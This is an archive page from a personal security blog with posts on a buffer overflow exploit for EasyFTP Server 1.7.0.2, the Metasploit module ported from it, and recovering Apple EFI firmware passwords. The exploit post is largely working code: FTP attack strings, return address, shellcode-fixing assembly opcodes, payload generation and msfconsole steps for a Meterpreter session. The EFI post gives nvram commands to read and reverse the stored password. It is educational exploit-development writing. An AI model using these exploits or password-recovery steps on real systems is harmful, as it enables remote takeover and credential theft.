Archive

Posts Tagged ‘hacking’

Senior Thesis (TRECC) Presentations

May 8, 2010 Comments off

Update: I’ve moved all these materials to their own page for easy reference.

Metasploit Plugin for EasyFTP Server Exploit

April 19, 2010 Comments off

Update: The module has been added to the Metasploit tree.  Thanks to jduck for cleaning it up and generalizing it!  View here; now just use svn update to get the module.

In my previous post, I detailed my efforts and solution to injecting a Meterpreter payload into a buffer of size 260B.  I mentioned that if I had the time, I would try to port the exploit to Metasploit itself, considering I had targeted my technique for the Metasploit-specific payload anyways.

I found some time and have made my plugin available below.  There’s several things that can be improved in this exploit:

  • rewrite the fixRet to occupy less space and to use metasm to compile it on the fly
  • use JMP ESP/EBP type addresses to help with porting to other versions of Windows

EasyFTP Server is an obscure FTP server, which makes it great for playing around with memory corruption vulnerabilities, but probably isn’t something anyone is going to see in a pentest any time soon.  I decided against spending the time required to generalize the exploit to versions of Windows beyond XP SP3 English and EasyFTP versions beyond 1.7.0.2.  I ported the exploit as an exercise and also in the hopes that someone may find my experience helpful should they try something similar.

I tested the exploit module against Metasploit 3.4.0-dev, r9112.  If its failing on an older version, try upgrading first.

Get easyftp_cwd_fixret.rb (put it in [your_metasploit_dir]/modules/exploits/windows/ftp)

Cheat sheet:

$ ./msfconsole
use windows/ftp/easyftp_cwd_fixret
set RHOST [target's IP address]
set PAYLOAD [your_payload]
[set options applicable to your payload]
exploit

Increasing Payload Size w/ Return Address Overwrite

February 28, 2010 7 comments

While perusing Bugtraq recently, I came across Jon Butler’s Proof of Concept (PoC) exploit for Easy FTP Server 1.7.0.2, an obscure FTP server.  I’m no expert on exploit development, but it is something I’ve been trying to spend more time on lately.  For practice, I decided to try to modify Jon’s exploit for a more interesting payload (all the public exploits I’ve seen launch calc.exe).  I figured this would only take a few minutes, but things got a little complicated due to the somewhat small size of the buffer over which I had control (268 bytes).  After the jump, I explain how I overcame the limited space problem and reworked Jon’s exploit with a Meterpreter payload (326 bytes).  Debugging experience and a basic understanding of stack based buffer overflow exploitation are required.

Get my exploit (RCE_easy_ftp_server_1.7.0.2.py)

How do we trigger the vulnerability? From Jon’s PoC:

Lack of input length checks for the CWD command result in a buffer
overflow vulnerability, allowing the execution of arbitrary code
by a remote attacker.

Jon gets to the vulnerable code and attacks it (anon access is enabled by default):

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
# Send payload...
print "[+] Sending payload..."
s.send('CWD ' + payload + '\r\n')

How much space do we have for our payload (shellcode) before the return address? Again, Jon already did the work for us:

nopsled = "\x90" * (268 - len(shellcode))

268 bytes is enough space to launch calc.exe, add a user account and some other items available to standard Metasploit payloads, but it is insufficient for something more exciting like a bind_tcp or Meterpreter payload:

$ ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)
[...snip...]

$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b \
"\x00\x0a\x0d\xff\x2f\x5c"
[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)

The Problem: How do we increase the amount of space available for our payload?

Referencing Jon’s PoC, one can easily deduce that Easy FTP Server wasn’t compiled with any stack protection (e.g. the /GS switch).  Jon worked against a x86 XPSP3 target (as did I), which means software DEP/SafeSEH operates on a whitelist by default (essential Windows services only); ASLR is nonexistent. and isn’t a concern anyways since Jon returns to an address on the (eXecutable) stack – no need for even a JMP address here.  Note: a JMP address would be more reliable when targeting different Windows versions, and will be something I will look into should I decide to generalize this exploit.

First, let’s take a look at Jon’s return address:

ret = "\x58\xFD\x9A\x00" # 0x009AFD58

The first thing I noticed is that the return address contains a NULL byte (\x00).  Had Easy FTP Server (EFS) employed a function analogous to strcpy(), then EFS would have stopped copying our attack string when it encountered this NULL byte.  Luckily this wasn’t exactly the case; I could write past the NULL byte (more on this later).

Aside: if you weren’t concerned about writing past the return address and Easy FTP Server had employed a strcpy()-like function, then you’re still in luck: thanks to the little-endianness of Intel’s x86 architecture, the NULL byte would appear at the very end of your attack string, making this a non-issue.

I decided to press my luck and attempt to write beyond the NULL byte in the return address (I later found another exploit that would have saved me this trouble).  I replaced Jon’s payload with an INT3 instruction (\xCC).  By inserting the INT3 breakpoint, I was able to examine the stack and determine the amount of bytes I could write beyond ret. Pictured: my nopsled, Jon’s ret & a bunch of ‘A’s (it continues outside of the screenshot, obviously):

I inserted a bunch of 'A's (0x41) after the ret value and conducted a binary search to determine the maximum number I had control over. I'm using Immunity Debugger here.

 

Get the modified code I used to do the above

I determined that I could write no more than 233 ‘A’s past the return address and still have reliable execution:

s.send('CWD ' + payload + 'A' * 233 + '\r\n')

Sweet… another 233 bytes!  Of course at this point I’ve severely smashed the stack and am overwriting the next stack frame.  Luckily, EFS is an FTP server and each connection is handled with a new thread.  Worst case scenario: I crash my thread and the server remains available to other users.  This is a great feature if you’re trying to be sneaky about the whole pwning thing.

So to review, we have 268 bytes before the return address, 4 bytes for the return address and 233 bytes past the return address.  268 + 4 + 233 = 505 bytes… more than enough space for the payloads I’m trying to inject.

Next Problem: Assuming our payload will be positioned at the highest addresses possible (at the end of the area we can write to), the return address will bisect any payload longer than 233 bytes.

It’s a good idea to insert your payload at the end of any buffer you control, particularly for Metasploit-encoded payloads, since they require a certain amount of slack space to decode themselves.  The nopsled doubles as this slack space.  So we must insert an appropriate return address in order to gain execution, but that return address will bisect our payload should our payload be longer than 233 bytes.

Next solution: Modify the return address after we have gained execution.  In order to do this, I wrote some NULL-free assembly that overwrites the return address with 4 bytes of the payload.  I called this tiny function fixRet.

Directly after we send our attack string, the stack will look like this (assuming the payload is longer than 233 bytes):

0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload, part1 | ret | payload, part2
--------------------------------------------------------

The payload is bisected by ret and is missing the 4 bytes that ret is occupying.  After fixRet executes, the stack will look like this:

0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload..............................
--------------------------------------------------------

At this point I needed to decide what payload to use because I needed to know what I was going to overwrite ret with.  While developing this exploit, I went through many different payloads, but the remaining commentary will assume the windows/meterpreter/bind_tcp windows/meterpreter/meterpreter_bind_tcp payload in my final exploit.  If I find time to rewrite this exploit using Metasploit’s framework, the following gcc / objdump steps will be unnecessary. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

I’m a nerd, but I don’t enjoy doing x86 binary in my head so I enlisted gcc & objdump to find the hex values required for such a fixRet operation.  (It took me a few minutes to set up objdump on OS X).  I wrote a quick C program, making sure to tell gcc exactly what assembly I wanted in my output.

Excerpt from the C program (download the complete version):

#include <stdlib.h>

int main (void)
{    
 /* clear out 3 registers */
 __asm__("xor %eax, %eax");
 __asm__("xor %ebx, %ebx");
 __asm__("xor %ecx, %ecx");

 /* move 0x009afe64 into EAX without using NULLs */
 __asm__("mov $0xAA3054CE, %eax");
 __asm__("mov $0xAAAAAAAA, %ebx");
 __asm__("xor %ebx, %eax");

 /* write shellcode into ret's address */
 __asm__("mov $0xAEE0E45F, %ecx"); // meterpreter_bind_tcp
 __asm__("mov %ecx, (%eax)");
}

Remember when I said that I could write past the NULL in the return address and there would be more on this later?  Well, I could write after the NULL in ret, but could not have any NULLs before said address.  My guess is that the logic behind the vulnerable CWD command checks for NULLs in its buffer after the entire buffer has been written, rather than on the fly.  Such logic would allow us to write NULLs over the return address (because the function would not think to look there), but wouldn’t allow us to write NULLs prior to the return address (because the vulnerable function would error out and the thread would be killed).

The above C program does what we need it to do without using any NULLs.  I got around this by zeroing the registers with XOR and having the exploited process “fix” the address of ret (by simply XORing it with all A’s).  The ret value lives at 0x009AFE64 = 0xAAAAAAAA (XOR) 0xAA3054CE.

I translated this into hex values for our attack string (gcc compiles & assembles, objdump disassembles):

gcc -O0 RCE_easy_ftp_server_1.7.0.2.c -o fix_ret
objdump -d fix_ret

After running the program through gcc and objdump, I got my hex values (look at the main section):

31 c0                    xor    %eax,%eax
31 db                    xor    %ebx,%ebx
31 c9                    xor    %ecx,%ecx
b8 ce 54 30 aa           mov    $0xaa3054ce,%eax
bb aa aa aa aa           mov    $0xaaaaaaaa,%ebx
31 d8                    xor    %ebx,%eax
b9 5f e4 e0 ae           mov    $0xaee0e45f,%ecx
89 08                    mov    %ecx,(%eax)

Now we have fixRet, we can easily calculate our nopsled and of course we know ret and our payload.  We’re done!

I could explain more, but it would probably make more sense to get the code and attempt exploitation yourself.

Get my exploit (RCE_easy_ftp_server_1.7.0.2.py)

I included everything necessary for injecting a meterpreter/bind_tcp payload and a shell_bind_tcp payload, both operating over port 4444.  The bind_tcp payload items are commented out.

Using the exploit (assuming meterpreter/bind_tcp payload):

(start Easy FTP Server 1.7.0.2 on victim machine)
./RCE_easy_ftp_server_1.7.0.2.py -t (victim IP) -p 21
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST (victim IP)
exploit

After the meterpreter dll is injected, you should have a working session :P

As always, comments are appreciated.  If I have time I’ll make this into a proper Metasploit module… none of this gcc / objdump silliness. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

Fun with Apple EFI Firmware Passwords

March 30, 2009 4 comments

I read somewhere that Apple uses weak encryption on its firmware passwords for Intel/EFI based computers, so I decided to take a look at it while on a long flight. I looked around for more specific discussion on the topic and didn’t find anything, so I’ll share what I found along with a tool I wrote to automate the changing and decrypting of the password. I wouldn’t consider the method that they employed encryption per se, but rather an obfuscation of the password. In either case, what they did is certainly not cryptographically secure. It’s not immediately clear to me why they didn’t just MD5 the password or something… the nvram appears to have sufficient space to store such a hashed value.

Tested on:

  • OS X 10.5.6 on a 1st Gen (Core Duo) Macbook Pro
  • OS X 10.5.6 on a Core 2 Duo Macbook Pro

Useful for:

  • pen tests
  • lab deployments

I take no responsibility with what you do with this information. Messing with the nvram can be potentially very serious business. Don’t contact me if your mac stops booting.

The method I employed requires root access, either via the root account or single user mode. In a pen test scenario, it may be possible to escalate to root via an exploit (as opposed to password compromise). If the firmware password is the same or similar to another password in use, this may allow for further escalation of privilege / decryption of files / access to other machines / etc. In a lab deployment scenario, it may be desirable to set a firmware password on deployed machines. This process would be more easily automated with a CLI program like the one I’m providing. Of course, there is the OFPW tool, but that was designed for the older Open Firmware and I’ve had problems running it on under Leopard/EFI and am unclear as to whether or not it supports the new hardware. The OFPW binary seems to be unnecessarily elusive and documentation even more so.

Here’s now the obfuscation works:

  1. a <= 255 character ASCII string is accepted by Firmware Password Utility
  2. string is viewed as binary (ASCII decoded)
  3. every other bit is NOT’ted, beginning with a NOT (i.e. NOT, passthru, NOT, passthru, etc)
  4. resulting bitstream is stored as the password.

You can query the current password via Terminal (hex-ASCII encoding , %-delineated):

sudo nvram -p

… or you can get the contents of nvram in XML with the password in base64:

sudo nvram -x -p

Let’s run through an example. We’ll set our firmware password to:

jh376ds8

… which is a fairly random ASCII string. Let’s interpret it as ASCII and translate to binary:

01101010 01101000 00110011 00110111 00110110 01100100 01110011 00111000

… now we apply the magic formula of NOT’ting every other bit, beginning with an initial NOT:

11000000 11000010 10011001 10011101 10011100 11001110 11011001 10010010

… then we hex-ify it:

c0 c2 99 9d 9c ce d9 92

… and finally add ‘%’ delimitors:

%c0%c2%99%9d%9c%ce%d9%92

… now we run:

sudo nvram security-password=%c0%c2%99%9d%9c%ce%d9%92

… and our firmware password has been updated to jh376ds8.

Obviously the reverse could be employed to reveal a firmware password.

Note: there are three security levels included in Apple’s EFI:

  • none: Firmware password is ignored, all boot actions allowed (single user, boot off external, etc). This is a default setting.
  • command: Firmware password enforced if user requests to boot off another device by holding down ‘alt’ during boot. Single user, target disk mode, etc disabled.
  • full: All actions are disallowed, unless correct password is entered (including normal boot to blessed drive).

Only ASCII characters with decimal values between 32 and 127 (inclusive) are allowed and the password cannot be longer than 255 characters. If the password is empty, Apple’s GUI utility actually stores “none” as the password, so I would recommend not using “none” as a password.

Get the code

Takeaway: if you’re using an EFI password on your Apple computer, don’t use that password for anything else. It is easily recovered (granted with root access), but even this recovery could allow for easy future access or further compromise.